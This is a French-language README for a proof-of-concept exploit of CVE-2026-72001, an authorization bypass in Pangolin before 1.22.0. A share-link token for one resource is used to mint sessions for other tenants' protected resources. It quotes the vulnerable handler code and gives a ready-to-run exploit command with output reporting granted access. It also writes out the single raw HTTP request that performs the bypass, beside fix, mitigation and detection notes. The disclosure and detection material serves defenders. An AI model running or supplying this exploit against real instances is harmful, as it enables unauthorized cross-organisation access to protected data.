PoC pour CVE-2026-72001 — contournement d'authentification des ressources inter-organisations dans Pangolin < 1.22.0 via le point de terminaison du jeton d'accès des liens de partage (CWE-639, CVSS 8.1).
Preuve de concept pour CVE-2026-72001, une faille d'autorisation au niveau de l'objet (broken-object-level-authorization) dans
Pangolin (< 1.22.0) qui permet au détenteur d'un seul
share link de ressource de générer une session de ressource valide pour n'importe quelle autre ressource de
l'instance, y compris les ressources appartenant à une organisation différente, en contournant toutes les
méthodes d'authentification configurées (SSO, mot de passe de ressource, PIN, liste d'autorisation d'e-mails, authentification par en-tête).
| CVE | CVE-2026-72001 |
| Produit | fosrl/pangolin |
| Affecté | < 1.22.0 |
| Corrigé | 1.22.0 |
| Classe | Contournement d'autorisation via une clé contrôlée par l'utilisateur (CWE-639) |
| CVSS 3.1 | 8.1 (ÉLEVÉ) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Auth | L'attaquant n'a besoin que d'un seul jeton de share-link valide pour n'importe quelle ressource |
| Verdict | VULNÉRABLE CONFIRMÉ (bout en bout, application badger valid:true) |
Le point de terminaison d'authentification par share-link POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) comporte deux branches. Lorsque la requête
transporte un accessTokenId, il valide le jeton mais oublie de lier cette vérification à la
ressource présente dans l'URL :
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken n'applique la liaison à la ressource que s'il reçoit resourceId :
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Comme le gestionnaire ne transmet jamais resourceId, la garde est ignorée : le jeton est
validé par rapport à sa propre ressource, tandis que la session est générée pour la ressource nommée
dans l'URL. Une session (jeton de requête badger) pour la ressource victime est alors créée :
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
La route réside sur le routeur non authentifié (unauthenticated.use("/auth", authRouter))
et n'a aucune limitation de débit (contrairement aux routes d'authentification sœurs par mot de passe/pincode/liste blanche).
Le middleware CSRF ne vérifie qu'un en-tête constant statique (X-CSRF-Token: x-csrf-protection).
Correctif (1.22.0) : le gestionnaire transmet resourceId à verifyResourceAccessToken, de sorte que la
garde de non-concordance se déclenche et que les requêtes inter-ressources renvoient 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
La requête vulnérable unique est :
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access échange en outre le jeton de requête renvoyé au niveau du point de terminaison
d'application badger (/badger/exchange-session → /badger/verify-session) — le même chemin
que consulte Traefik — afin de prouver un accès réel, et pas seulement une chaîne renvoyée. Dans un déploiement réel,
l'attaquant présente simplement le jeton de requête à la ressource et Traefik/badger l'échange automatiquement.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
Voir lab/setup.sh, ANALYSIS.md et
evidence/ pour la procédure complète et la frontière entre version vulnérable et version corrigée.
Sur toute instance Pangolin multi-tenant / multi-org (auto-hébergée avec plusieurs orgs, MSP, ou un déploiement hébergé), un acteur capable d'obtenir un seul share link — un qui lui a été légitimement attribué, un qui a fuité, ou un qu'il émet lui-même sur n'importe quelle ressource qu'il contrôle — lit et agit en tant que n'importe quelle ressource protégée d'un autre tenant. La confidentialité et l'intégrité de chaque ressource protégée de l'instance sont compromises (CVSS C:H/I:H).
Mettre à niveau vers Pangolin ≥ 1.22.0. Le correctif lie la vérification du jeton d'accès à l'id de ressource de l'URL. Aucun contournement de configuration n'atténue complètement < 1.22.0 ; restreindre l'émission des share links de ressources et faire tourner les jetons d'accès existants après la mise à niveau.
Rechercher POST /api/v1/auth/resource/<id>/access-token où l'accessTokenId présenté
appartient à une ressource dont l'id ≠ <id> (utilisation de jeton inter-ressources), et les requêtes
d'authentification par jeton d'accès arrivant à volume élevé (la route n'est pas limitée en débit). Les entrées
logAccessAudit montreront une action accessToken dont l'org du jeton diffère de l'org de la ressource.
Découvert / analysé et PoC par BiiTts (Caio Fabrício). Vulnérabilité signalée par VulnCheck ; avis : https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.